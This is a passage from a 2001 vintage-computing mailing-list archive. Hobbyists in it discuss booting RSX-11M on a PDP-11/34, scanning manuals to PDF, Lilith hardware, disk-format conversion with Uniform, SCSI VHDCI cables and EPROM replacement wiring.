VAXish cabinets and the CPU front panel looked much like an 11/84, any other resemblance to real DEC PDP-11's stopped there. When they were trying to get rid of them, I passed the information along to others that are looking for PDP-11's and/or parts. The consensus was that these system were too custom to be of use where real PDP-11's are concerned. They would only be of real use to someone who had an ATEX system. I think the systems were sold to someone who wanted the racks. I never did hear what finally happened. If the older systems used actual DEC TTL based PDP-11 processors, they may be more interesting to PDP-11 enthusiasts than the later ATEX systems. As I understand it, there were hundreds of sites around the world using these systems. Some still remain in use in North America and are now supported by ATS: http://www.atsusa.com/ats_pressroom.htm#Atex Support -- Doug Carman pdp11@bellsouth.net From rcini at optonline.net Sun Jun 10 10:06:40 2001 From: rcini at optonline.net (Richard A. Cini, Jr.) Date: Sun Feb 27 19:04:21 2005 Subject: QBus spec manual scans Message-ID: Someone contacted me about scans of the QBus hardware manual scans. Before I dig the book out of storage and begin scanning it, I thought that I'd ask and see if someone else has scanned it already. If someone does, can you send me a pointer to it. Thanks. Rich Rich Cini Collector of classic computers Build Master for the Altair32 Emulation Project Web site: http://highgate.comm.sfu.ca/~rcini/classiccmp/ /************************************************************/ From bshannon at tiac.net Sun Jun 10 10:41:34 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:21 2005 Subject: Booting RSX-11M On A PDP-11/34 References: Message-ID: <3B23952E.8131A479@tiac.net> Maybe the software is looking for a VT52 / VT100. DEC serial ports are hard-configured. RSX-11 eh? Eeeeeeek! Personally, I'd reccomend running RT-11. I have RL01 disks with RT-11....I really ought to get my 11/34 running again soon....I miss it. "Zane H. Healy" wrote: > >I have pretty much no experience with DEC systems, or at least PDP-11s > >anyway. I have an 11/34 with three RL01 drives (only two are connected). The > >system works fine, I get the register printout on the console LA120, and I > >can examine, deposite, etc. When I put the RSX-11M pack in the RL01 drive, > >and ready it, I don't get any fault ligtht or anything. When I get > >everything set up, I tell the system to boot from drive 0. The light on the > >drive flashes rapidly, and I can hear it spinning. Then I get a lot of line > >feeds on the console, along with a few seemingly random characters, usually > >lower case Rs, Ss, and Ms. So, if anyone can tell me what I am doing wrong, > >or what I need to be doing, I would greatly appreciate it. > > > >Thanks, > >Owen > > It sounds to me as if you're doing everything right. You're just not > getting the output on the console you should be. This has me wondering a > few things. > > Did you get everything as a whole or is this something you're trying to put > together from a variety of sources? If you did get this as a whole, is it > put together in the same manner it was when this was a working > configuration. Do you have all the packs mounted that were normally > mounted when it was in a working condition. > > What version of RSX-11M? Do you know the actual state of your disk pack? > > Do you have a terminal besides the LA120? Do you have Serial lines besides > the one the LA120 is on? > > Do you have hardware documentation on the 11/34? > > Now for anyone reading this, can the 11/34 do something funky like change > the speed of it's console line without having to use hardware jumpers? I > don't think it can, but from the fact that all that's being printed out, > that's my first thought, however, the fact everything looks to work before > trying to boot RSX this doesn't look to be the problem. > > Zane > -- > | Zane H. Healy | UNIX Systems Administrator | > | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | > | healyzh@holonet.net (alternate) | Classic Computer Collector | > +----------------------------------+----------------------------+ > | Empire of the Petal Throne and Traveller Role Playing, | > | and Zane's Computer Museum. | > | http://www.aracnet.com/~healyzh/ | From jhellige at earthlink.net Sun Jun 10 10:43:43 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:21 2005 Subject: Manuals to PDF advice sought In-Reply-To: References: Message-ID: I've decided that I would like to start converting various documentation I have to PDF, mainly newsletters and such for the Model 2000 that seem to be otherwise nearly impossible to find. In fact, I'd like to eventually cut a CD that pretty much covered the machine and it's docs. My question is, how do I best go about doing this? I've tried a couple of newsletters already and scanning them using Photoshop as a grayscale TIFF's at 100dpi, so as to preserve botht the layout and any diagrams and such, and then importing the images into Acrobat ended up with a 6.3meg PDF for a 20page 8.5x11 newsletter. If I scan the newsletters as a bi-tone image the text comes out all blotchy. I also scanned a 4 page 8.5x11 glossy color flyer, using truecolor settings at 200dpi, and it ended up as a 32meg file. I don't have any OCR software but I do have Acrobat 4.0 and Photoshop 2.5.1. Yes, I know it's an extremely old version of Photoshop but it does the job and Acrobat doesn't like my scanner plugin while Photoshop works with it fine. Acrobat PDF Writer works from other programs fine as well, having easily converted my FAQ to a 32k PDF by 'printing' to it from within Netscape. The scanner is a Piotech Splendeur 3024, a rebadged Relisys Infinity Scorpio, capapble of 30bit color at a maximum optical resolution of 300 x 1200. It's capable of 2400 x 2400 with software interpolation. Any suggestions would be greatly appreciated. Thanks Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jos.mar at bluewin.ch Sun Jun 10 13:03:24 2001 From: jos.mar at bluewin.ch (jos.mar) Date: Sun Feb 27 19:04:21 2005 Subject: Lilith schematics anyone ? In-Reply-To: References: Message-ID: <01061020112701.01588@jos> > Could URAM be 'uRAM' -- i.e. microcode RAM? In which case it could be an > optional expansion to the control store or an essential part of the CPU. > > What boards do you have? We might be able to figure out what they are and > what (if anything) is missing. > My Lilith has the following boards : MCU : microcode in bipolar PROM's ALU : 4x 2901 Bit sliceCPU CPU : Serial channel ??( Has an 1602 UART ) IFU : interface unit. 4x64Kb mem boards ( with 16kb DRAM chips ) DSP : Display interface DSK : interface to 10Mb removable HD I/O : one RS232 channel. Missing are uRAM, DPU, DMA ( only used to drive a laserprinter ) and some I/O options. I've never heard about programmable microcode in the Lilith, so I presume the uRAM is an option. It could still be a complete computer, but I intend to go slowly with this one. (i.e. following Tony's rules of checking PSU first etc. ) Jos From Marion.Bates at dartmouth.edu Sun Jun 10 11:13:37 2001 From: Marion.Bates at dartmouth.edu (Marion Bates) Date: Sun Feb 27 19:04:21 2005 Subject: Manuals to PDF advice sought Message-ID: <46556072@dasher.Dartmouth.EDU> Hi, I've run into the same difficulties trying to do the same thing before, using Acrobat 3. I found that if I used the actual Acrobat programs (duh can't remember the names of the individual "pieces") then I always wound up with huge files. BUT if I used the silly little AcrobatPDFWriter printer driver to "print" PDFs from Photoshop, they are always much smaller...undoubtedly this is due to my not understanding what the heck I'm doing with Acrobat Exchange (ah that's the name) but maybe give that a try if you haven't already. Also, and this is something you probably already know, but unless the stuff you're scanning contains images with gradients (i.e. photographic) you can drop the bitlevel to 2 (true black-and-white) and up the scanning DPI to 300 or 600 and get very sharp results with that. They will print like new. If you then print _that_ from Photoshop to the PDFWriter you'll probably get some good results. I think Acrobat has some compression options as well. Can't really remember the details. Re: OCR -- Trouble I've had is (and this is just pickiness, if the actual info's all you care about then it's no prob) you invariably lose the font and other aspects of the original appearance of the document, which is a bummer. I converted a PDF of Sun Remarketing's Lisa DIY guide into HTML with images because I wanted search engines to be able to index the content. I used Omnipage Pro 8 which has a very convenient save-to-HTML feature and it even knows to pull out the images and save those as high-res JPEGs. So if you do end up going the OCR route, Omnipage is great. Textbridge Pro is "smart" about reading text accurately, but I think it lacks the features of Omnipage. You could also send me a sample scanned image (try a few different resolution combinations) off-list and I'll see what kind of results I can get, and send 'em back... HTH. Good luck! -- MB --- classiccmp@classiccmp.org wrote: I've decided that I would like to start converting various documentation I have to PDF, mainly newsletters and such for the Model 2000 that seem to be otherwise nearly impossible to find. In fact, I'd like to eventually cut a CD that pretty much covered the machine and it's docs. My question is, how do I best go about doing this? I've tried a couple of newsletters already and scanning them using Photoshop as a grayscale TIFF's at 100dpi, so as to preserve botht the layout and any diagrams and such, and then importing the images into Acrobat ended up with a 6.3meg PDF for a 20page 8.5x11 newsletter. If I scan the newsletters as a bi-tone image the text comes out all blotchy. I also scanned a 4 page 8.5x11 glossy color flyer, using truecolor settings at 200dpi, and it ended up as a 32meg file. I don't have any OCR software but I do have Acrobat 4.0 and Photoshop 2.5.1. Yes, I know it's an extremely old version of Photoshop but it does the job and Acrobat doesn't like my scanner plugin while Photoshop works with it fine. Acrobat PDF Writer works from other programs fine as well, having easily converted my FAQ to a 32k PDF by 'printing' to it from within Netscape. The scanner is a Piotech Splendeur 3024, a rebadged Relisys Infinity Scorpio, capapble of 30bit color at a maximum optical resolution of 300 x 1200. It's capable of 2400 x 2400 with software interpolation. Any suggestions would be greatly appreciated. Thanks Jeff --- end of quote --- From univac2 at earthlink.net Sun Jun 10 11:35:26 2001 From: univac2 at earthlink.net (Owen Robertson) Date: Sun Feb 27 19:04:21 2005 Subject: Booting RSX-11M On A PDP-11/34 In-Reply-To: Message-ID: on 6/10/01 7:04 AM, Zane H. Healy at healyzh@aracnet.com wrote: > It sounds to me as if you're doing everything right. You're just not > getting the output on the console you should be. This has me wondering a > few things. > > Did you get everything as a whole or is this something you're trying to put > together from a variety of sources? If you did get this as a whole, is it > put together in the same manner it was when this was a working > configuration. Do you have all the packs mounted that were normally > mounted when it was in a working condition. > > What version of RSX-11M? Do you know the actual state of your disk pack? > > Do you have a terminal besides the LA120? Do you have Serial lines besides > the one the LA120 is on? > > Do you have hardware documentation on the 11/34? > > Now for anyone reading this, can the 11/34 do something funky like change > the speed of it's console line without having to use hardware jumpers? I > don't think it can, but from the fact that all that's being printed out, > that's my first thought, however, the fact everything looks to work before > trying to boot RSX this doesn't look to be the problem. I got the system as a whole. Everything came from the same person, except for the LA120, which I bought refurbished from a local dealer. I think the communications settings have to be correct, because I get the register printout, and when I send an ASCII character to the LA120 through the programmer's console, it prints out correctly. I'm not sure I have all the right packs mounted, because A) I only have 2 of the 3 drives connected, and B) the labels on a lot of the packs are faded, or have come off completely. The RSX-11M version is 3.1. The system has 8 (I think) additional serial lines. I have lots of software manuals, but other than the processor handbook, I have no hardware documentation. How many RL01 packs does an average RSX-11M installation use? Also - do the drive numbers (0,1,2...) depend soley on the order they are connected in? From vaxcat at retrocomputing.com Sun Jun 10 11:55:57 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:21 2005 Subject: Followup to Intecolor Updated Request In-Reply-To: <004801c0f14e$4c868000$6b26b3d1@Smith.earthlink.net> References: <010301c0f093$372eb300$a9799a8d@ajp166> Message-ID: The Internet is really just a vast global memory for recording our foibles. I went searching for information on the Intecolor terminal and found a link to the ClassicCmp archive and an article that I posted TWO YEARS ago asking the same question! Guess I'm a little slow on the uptake! =-D At any rate, after opening the back on the Intecolor, I've decided it'll be easy to replace the power connector and fuse holder without damaging the machine or having to cut additional or larger holes. Anthony Clifton Des Moines, Iowa From enrico.badella at softstar.it Sun Jun 10 12:29:00 2001 From: enrico.badella at softstar.it (Enrico Badella) Date: Sun Feb 27 19:04:21 2005 Subject: Huge PDP-11 rescue opportunity References: <991967553.3b20394186926@email.ou.edu> <3B238235.101F49C4@bellsouth.net> Message-ID: <3B23AE5C.1FD81120@softstar.it> Doug Carman wrote: > > Not long ago I ran into some of these ATEX systems when the Orlando > paper replaced their prepress systems. The ATEX systems they had were > updated, but had some parts that dated to 1972. The systems used DEC > MicroPDP-11 processors, but were nearly all custom beyond that. I had a True 100%! I've got a friend that some months ago decomissioned all the ATEX systems that were used to create one of the major Italian newspapers. I had a close look but there was almost nothing that resembled real DEC PDPs so I didn't pick up anything. e. ======================================================================== Enrico Badella email: enrico.badella@softstar.it Soft*Star srl eb@vax.cnuce.cnr.it InterNetworking Specialists tel: +39-011-746092 Via Camburzano 9 fax: +39-011-746487 10143 Torino, Italy Wanted, for hobbyist use, any type of PDP and microVAX hardware,software, manuals,schematics,etc. and DEC-10 docs or manuals ========================================================================== From vaxcat at retrocomputing.com Sun Jun 10 12:38:14 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:21 2005 Subject: Uniform (?) for Kaypro 2 In-Reply-To: <002501c0f157$4364c460$9cc762d8@idcomm.com> References: Message-ID: Greetings, I recall back in my FOG days that I used to go to meetings and copy diskettes from the library with a Kaypro. I vaguely recall that the program for doing the conversions from Osborne (and many others) was done with a package called Uniform. It's possible my memory is corrupt. (Or maybe just my mind! =) At any rate, can anyone provide me a copy? It'll make it easier to convert stuff on my Osborne diskettes to something my C128 can read. As always, I'm prepared to compensate for time, disk, shipping, etc. Thanks... Anthony Clifton Des Moines, Iowa From ard at p850ug1.demon.co.uk Sun Jun 10 12:36:09 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:21 2005 Subject: Intecolor Updated Request In-Reply-To: from "Anthony Clifton - Retrocomputing.com" at Jun 9, 1 07:11:15 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1009 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010610/c719b864/attachment.ksh From edick at idcomm.com Sun Jun 10 12:49:43 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:21 2005 Subject: OT: looking for an adapter References: Message-ID: <003001c0f1d5$bb102760$9cc762d8@idcomm.com> I've recently developed a need for an adapter from the "ultra-high-density" connector used as the external port on MYLEX RAID controllers to the standard WIDE (68-conductor) or even NARROW (50-conductor) cables used for SCSI devices. Do any of you guys know of a reasonable source of, say, USED but functional cables of this sort? They don't come with the controller and MYLEX wants the price of a small country for one. thanks, Dick From ard at p850ug1.demon.co.uk Sun Jun 10 12:45:45 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:21 2005 Subject: EPROM replacement and other helpful hints, was Re: IMSAI EPROMS In-Reply-To: <200106100034.UAA18139@granger.mail.mindspring.net> from "Louis Schulman" at Jun 9, 1 08:34:53 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1889 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010610/d66f6f42/attachment.ksh From jhellige at earthlink.net Sun Jun 10 12:57:52 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:21 2005 Subject: Uniform (?) for Kaypro 2 In-Reply-To: References: Message-ID: >It's possible my memory is corrupt. (Or maybe just my mind! =) You're correct...I've got the DOS version of Uniform running on my IBM 5155. >At any rate, can anyone provide me a copy? It'll make it easier to >convert stuff on my Osborne diskettes to something my C128 can >read. I don't believe Uniform will do C128 disks as, if I remember correctly, they used GCR for the encoding. I know it will do Osborne and a host of other's though. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jhellige at earthlink.net Sun Jun 10 13:25:19 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:21 2005 Subject: Manuals to PDF advice sought In-Reply-To: <46556072@dasher.Dartmouth.EDU> References: <46556072@dasher.Dartmouth.EDU> Message-ID: >Also, and this is something you probably already know, but unless >the stuff you're scanning contains images with gradients (i.e. >photographic) you can drop the bitlevel to 2 (true black-and-white) >and up the scanning DPI to 300 or 600 and get very sharp results >with that. They will print like new. If you then print _that_ from >Photoshop to the PDFWriter you'll probably get some good results. Ok, I hadn't tried really bumping up the DPI on the 1bit scan, as I figured it would make for a very large file. The initial scans at the lower resolution were nothing to brag about so I tried grayscale, which gave good results but a largish file. After the above suggestion, I did a few test scans and then scanned a whole newsletter at 600dpi. The end PDF file size was almost identical to the previous 100dpi grayscale scans but with much better results when scaling the output for different screen sizes in the viewer. Even though the end file size is the nearly the same though, the Acrobat viewer is more a good deal more sluggish when moving around in the 600dpi version. >Re: OCR -- Trouble I've had is (and this is just pickiness, if the >actual info's all you care about then it's no prob) you invariably >lose the font and other aspects of the original appearance of the >document, which is a bummer. I converted a PDF of Sun Remarketing's >Lisa DIY guide into HTML with images because I wanted search engines >to be able to index the content. The ability to search the PDF would be nice, but I think the amount of work required to do the OCR and then do all the formatting and such would outweigh that benifit, though the OCR'd PDF's tend to be smaller as well. I'd prefer to keep the original layout, fonts and all, though. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From ard at p850ug1.demon.co.uk Sun Jun 10 13:19:58 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:21 2005 Subject: Lilith schematics anyone ? In-Reply-To: <01061020112701.01588@jos> from "jos.mar" at Jun 10, 1 08:03:24 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1037 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010610/bc7468d7/attachment.ksh From jhingber at ix.netcom.com Sun Jun 10 13:38:40 2001 From: jhingber at ix.netcom.com (Jeffrey Ingber) Date: Sun Feb 27 19:04:21 2005 Subject: OT: looking for an adapter In-Reply-To: <003001c0f1d5$bb102760$9cc762d8@idcomm.com> References: <003001c0f1d5$bb102760$9cc762d8@idcomm.com> Message-ID: <992198323.13247.9.camel@desk-2> On 10 Jun 2001 11:49:43 -0600, Richard Erlacher wrote: > I've recently developed a need for an adapter from the "ultra-high-density" > connector used as the external port on MYLEX RAID controllers to the standard > WIDE (68-conductor) or even NARROW (50-conductor) cables used for SCSI devices. > Do any of you guys know of a reasonable source of, say, USED but functional > cables of this sort? They don't come with the controller and MYLEX wants the > price of a small country for one. What you're looking for is a VHDCI to 68-pin SCSI cable. You can do a search of the normal purveyors for "VHDCI" and should find what you're looking for. Jeff From ernestls at home.com Sun Jun 10 13:48:18 2001 From: ernestls at home.com (Ernest) Date: Sun Feb 27 19:04:21 2005 Subject: Wanted: Luxor ABC80 In-Reply-To: Message-ID: I'm looking for a Luxor ABC80 computer if anyone has one to sell or trade for. Ernest From dittman at dittman.net Sun Jun 10 14:01:33 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:21 2005 Subject: OT: looking for an adapter In-Reply-To: <003001c0f1d5$bb102760$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 10, 2001 11:49:43 AM Message-ID: <200106101901.f5AJ1Xt31174@narnia.int.dittman.net> > I've recently developed a need for an adapter from the "ultra-high-density" > connector used as the external port on MYLEX RAID controllers to the standard > WIDE (68-conductor) or even NARROW (50-conductor) cables used for SCSI devices. > Do any of you guys know of a reasonable source of, say, USED but functional > cables of this sort? They don't come with the controller and MYLEX wants the > price of a small country for one. I've bought some from a local guy. He usually has some listed on eBay, but you could try asking him direct. The 68-pin connector on the other end is a right-angle connector. His email address is denton@orison.dsserv.com and his name is Clay. I can't remember what I paid for them, but it was reasonable. If you're not in the US this probably won't help. -- Eric Dittman dittman@dittman.net From mikeford at socal.rr.com Sun Jun 10 13:27:35 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:21 2005 Subject: OT: PC AGP slots In-Reply-To: Message-ID: >OK, this is seriously off-topic, but I know someone around here has to >know, and I'm not sure where else to ask. > >Can you put a AGP 2x or 4x card in a system that only has a plain AGP slot? >I've got a PII/333 in a 440LX system I'd like to put something like an ATI >All-in-Wonder Radeon card into. You should have basic functionality, but a 333 won't move the data back and forth to a Radeon fast enough to allow much more than 50% of its normal speed, ie worthless for video capture, games, etc. unless lots of features are turned off. Given the $200+ street price of the all in wonder Radeon (there is a $30 rebate at "featured" retailers right now though) you really should put it into a decent newer motherboard. I would NOT buy a hot video card now, then upgrade the motherboard etc. later, just a waste of money given the new models of hot video cards will be out in the fall. Most likely you would get more performance out of a $200 motherboard/cpu upgrade and a cheap $75 Radeon LE. From geoffr at zipcon.net Sun Jun 10 14:18:30 2001 From: geoffr at zipcon.net (Geoff Reed) Date: Sun Feb 27 19:04:21 2005 Subject: Uniform (?) for Kaypro 2 In-Reply-To: References: Message-ID: <5.1.0.14.2.20010610121752.009d1640@mail.zipcon.net> IIRC, doesn't CP/M on the 128 read several formats of disk?? possibly kaypro format being one (i could be mistaken) At 01:57 PM 6/10/01 -0400, you wrote: >>It's possible my memory is corrupt. (Or maybe just my mind! =) > > You're correct...I've got the DOS version of Uniform running on > my IBM 5155. > >>At any rate, can anyone provide me a copy? It'll make it easier to >>convert stuff on my Osborne diskettes to something my C128 can >>read. > > I don't believe Uniform will do C128 disks as, if I remember > correctly, they used GCR for the encoding. I know it will do Osborne and > a host of other's though. > > Jeff >-- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > From mikeford at socal.rr.com Sun Jun 10 14:32:08 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:21 2005 Subject: EPROM replacement and other helpful hints, was Re: IMSAI EPROMS In-Reply-To: References: <200106100034.UAA18139@granger.mail.mindspring.net> from "Louis Schulman" at Jun 9, 1 08:34:53 pm Message-ID: >top 3 address lines (A10--A12). Assuming you burn the code into the >lowest 1K locations of the EPROM ,then simply connect those 'extra' >address lines to ground. That will mean only the bottom 1K of the EPROM >is ever accessed which is what you want. I would be tempted to use a dip switch, then you could dump a bunch of code and bank switch it. From pete at dunnington.u-net.com Sun Jun 10 14:40:33 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:21 2005 Subject: Booting RSX-11M On A PDP-11/34 In-Reply-To: Owen Robertson "Re: Booting RSX-11M On A PDP-11/34" (Jun 10, 11:35) References: Message-ID: <10106102040.ZM14890@indy.dunnington.u-net.com> On Jun 10, 11:35, Owen Robertson wrote: > I got the system as a whole. Everything came from the same person, except > for the LA120, which I bought refurbished from a local dealer. I think the > communications settings have to be correct, because I get the register > printout, and when I send an ASCII character to the LA120 through the > programmer's console, it prints out correctly. Assuming you have a standard DL11-E or DL11-W, you do have the settings correct. Some third party serial cards (and some DEC multiplexers) have software-programmable baud rate, but not the standard DL11s. It's possible that RSX is faking the parity, but that would be easy to check by setting the LA120 to 7E1 (or, less likely, 7bits, odd parity, one stop bit). > I'm not sure I have all the right packs mounted, because > A) I only have 2 of the 3 drives connected, and > B) the labels on a lot of the packs are faded, or have come off > completely. The RSX-11M version is 3.1. The system has 8 (I think) > additional serial > lines. I have lots of software manuals, but other than the processor > handbook, I have no hardware documentation. How many RL01 packs does an > average RSX-11M installation use? If you have a non-bootable pack mounted it should print a message on the console and then halt. Or maybe just halt (I can't remember for 3.1). If you have a bootable pack, it should boot (not surprisingly!) and print stuff on the console but it might complain about hardware being offline if you don't have the same setup it was built for (eg missing serial lines or missing disk packs). A normal RSX 3.1 installation would use 2 x RL01 or 2 x RL02. Fitting a useful system into a pair of RL01s is a bit of a squeeze, and building one like that is a pain, which might explain why you have three drives. > Also - do the drive numbers (0,1,2...) > depend soley on the order they are connected in? They don't depend at all on the order they're connected in. The depend only on the unit select plug (the white one with the number on it) plugged in to the front panel of the drive. Usually the system would boot from drive 0. -- Pete Peter Turnbull Network Manager University of York From ard at p850ug1.demon.co.uk Sun Jun 10 14:45:18 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:21 2005 Subject: EPROM replacement and other helpful hints, was Re: IMSAI In-Reply-To: from "Mike Ford" at Jun 10, 1 12:32:08 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1257 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010610/1c904b5b/attachment.ksh From vaxcat at retrocomputing.com Sun Jun 10 15:02:20 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:21 2005 Subject: Uniform (?) for Kaypro 2 In-Reply-To: References: Message-ID: Oops. Ok, what I meant was that my C128 can read Kaypro but, if memory servers, not Osborne and other useful formats. However, upon further consideration, maybe my best bet would be simply to put 22disk on a pc box with a nice old disk controller and just use it to do conversions. =) In either case, I'm sure I'm boring the list with my mental meanderings. ;) Anthony Clifton Des Moines, Iowa >>It's possible my memory is corrupt. (Or maybe just my mind! =) > > You're correct...I've got the DOS version of Uniform running >on my IBM 5155. > >>At any rate, can anyone provide me a copy? It'll make it easier to >>convert stuff on my Osborne diskettes to something my C128 can >>read. > > I don't believe Uniform will do C128 disks as, if I remember >correctly, they used GCR for the encoding. I know it will do Osborne >and a host of other's though. > > Jeff >-- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 From edick at idcomm.com Sun Jun 10 14:20:22 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:21 2005 Subject: OT: looking for an adapter References: <200106101901.f5AJ1Xt31174@narnia.int.dittman.net> Message-ID: <000001c0f1ea$a1101180$9cc762d8@idcomm.com> I'm amazed at the range over which the prices of these cables vary. I've found (via google.com) 3' cables with the VHDCI connector at one end and the normal HD 68-pin at the other, for prices ranging from $178 to $35. Surely there's some difference other than quality, though it's not obvious from the posted information. Dick ----- Original Message ----- From: "Eric Dittman" To: Sent: Sunday, June 10, 2001 1:01 PM Subject: Re: OT: looking for an adapter > > I've recently developed a need for an adapter from the "ultra-high-density" > > connector used as the external port on MYLEX RAID controllers to the standard > > WIDE (68-conductor) or even NARROW (50-conductor) cables used for SCSI devices. > > Do any of you guys know of a reasonable source of, say, USED but functional > > cables of this sort? They don't come with the controller and MYLEX wants the > > price of a small country for one. > > I've bought some from a local guy. He usually has some listed on > eBay, but you could try asking him direct. The 68-pin connector on > the other end is a right-angle connector. His email address is > denton@orison.dsserv.com and his name is Clay. I can't remember what > I paid for them, but it was reasonable. > > If you're not in the US this probably won't help. > -- > Eric Dittman > dittman@dittman.net > > From at258 at osfn.org Sun Jun 10 15:26:40 2001 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 19:04:21 2005 Subject: IRC In-Reply-To: Message-ID: There's been a discussion of labour/management relations on Rovernet, and this has led to the Industrial Recovery Corporation. Does anyone know if the IRC meddled with the British computer industry, as they did with the motor industry? From jhellige at earthlink.net Sun Jun 10 15:28:56 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:21 2005 Subject: Uniform (?) for Kaypro 2 In-Reply-To: References: Message-ID: >Oops. Ok, what I meant was that my C128 can read Kaypro but, if memory >servers, not Osborne and other useful formats. It's been too long since I looked at the C128's CP/M to remember what formats it supported. I do remember that I thought Uniform was quite nifty and flexible though. >In either case, I'm sure I'm boring the list with my mental meanderings. Certainly was a legitimate question for the list, plus there are a number of people here who have been using CP/M for quite a long time. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From vaxcat at retrocomputing.com Sun Jun 10 15:31:39 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:21 2005 Subject: NCR Tower 16/32 Diskettes (FREE TO GOOD HOME) In-Reply-To: <10106102040.ZM14890@indy.dunnington.u-net.com> References: Owen Robertson "Re: Booting RSX-11M On A PDP-11/34" (Jun 10, 11:35) Message-ID: I've been digging through the back closet trying to find my Kaypro diskettes and, instead, found a pile of diskettes for an NCR Tower 16/32. There are around 40 or 50 of them with titles such as: C Compiler and Loader Lots and lots of base system and installation diskettes Multiplan Pascal HCR Pascal Diagnostics SNA3270 and bootable floppies At any rate, I'd like to just give these away to a good home for the cost of shipping (under $10 I would imagine). I don't have a Tower 16/32 and don't imagine I will have one in the future. (That said, I'll find one for free 12 seconds after I ship the diskettes. =) Let me know you're address, whether you have a 16/32 etc. You also have to guarantee that you won't just reformat them and use them as blank diskettes. ;) Thanks... Anthony Clifton Des Moines, Iowa From edick at idcomm.com Sun Jun 10 15:35:42 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:22 2005 Subject: EPROM replacement and other helpful hints, was Re: IMSAI References: Message-ID: <000d01c0f1ec$eb6032e0$9cc762d8@idcomm.com> My own approach would probably be different, i.e. I'd attempt to use the board itself, but minimize the amount of hardware required to make it work. If the board was intended to be used as an 8K board, I'd have to decide whether to make it into a 64K board or to leave it as an 8K board, but since, in the original poster's case, it was an 8K (?) board with 1K devices he couldn't conveniently program, I'd say he'll be happy with an 8K board when he's done. My own preference would be for using a single site and putting either an 8K EPROM or BBRAM (with a physical switch on the nWrite line) in that site and being done with it. Once you have the board, the BBRAM is the way to go, since you don't really need a programmer. BTW, 2716-compatible BBRAMs are quite common, though the 2716's are less so. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Sunday, June 10, 2001 1:45 PM Subject: Re: EPROM replacement and other helpful hints, was Re: IMSAI > > > > >top 3 address lines (A10--A12). Assuming you burn the code into the > > >lowest 1K locations of the EPROM ,then simply connect those 'extra' > > >address lines to ground. That will mean only the bottom 1K of the EPROM > > >is ever accessed which is what you want. > > > > I would be tempted to use a dip switch, then you could dump a bunch of code > > and bank switch it. > > Sure, I was trying to keep it simple for the non-electronics-experts here. > > If you're going to us a DIP switch, then the best way to do it is to wire > one section of the DIP swtich between an 'extra' address line and ground. > Connect a 10k resistor (or thereabouts, this is not critical) between the > 'extra' address line and +5V. You will need a DIP switch with at least 3 > on/off (form A, SPST) sections (get a 4 section one and ignore the last > switch) and 3 10k resistors. > > Then you have have 8 1K blocks of code in the 2764, and select them using > the DIP switch. It means you can have 8 attempts at writing the code > before you have to erase the EPROM. > > But if you're just trying to replace a 2708, and you have the code and > you know it works, you don't need to bother with this. Stick the code in > the first 1024 locations of the 2764 and tie A10, A11 and A12 to ground. > > -tony > > From spectre at stockholm.ptloma.edu Sun Jun 10 15:45:05 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:22 2005 Subject: Uniform (?) for Kaypro 2 In-Reply-To: <5.1.0.14.2.20010610121752.009d1640@mail.zipcon.net> from Geoff Reed at "Jun 10, 1 12:18:30 pm" Message-ID: <200106102045.NAA10630@stockholm.ptloma.edu> > IIRC, doesn't CP/M on the 128 read several formats of disk?? possibly > kaypro format being one (i could be mistaken) It does *if* you have a 1571 disk drive. Commodore 1571 drives are dual MFM and GCR beasts, and can read a multitude of double-density formats. With proper programming, they can 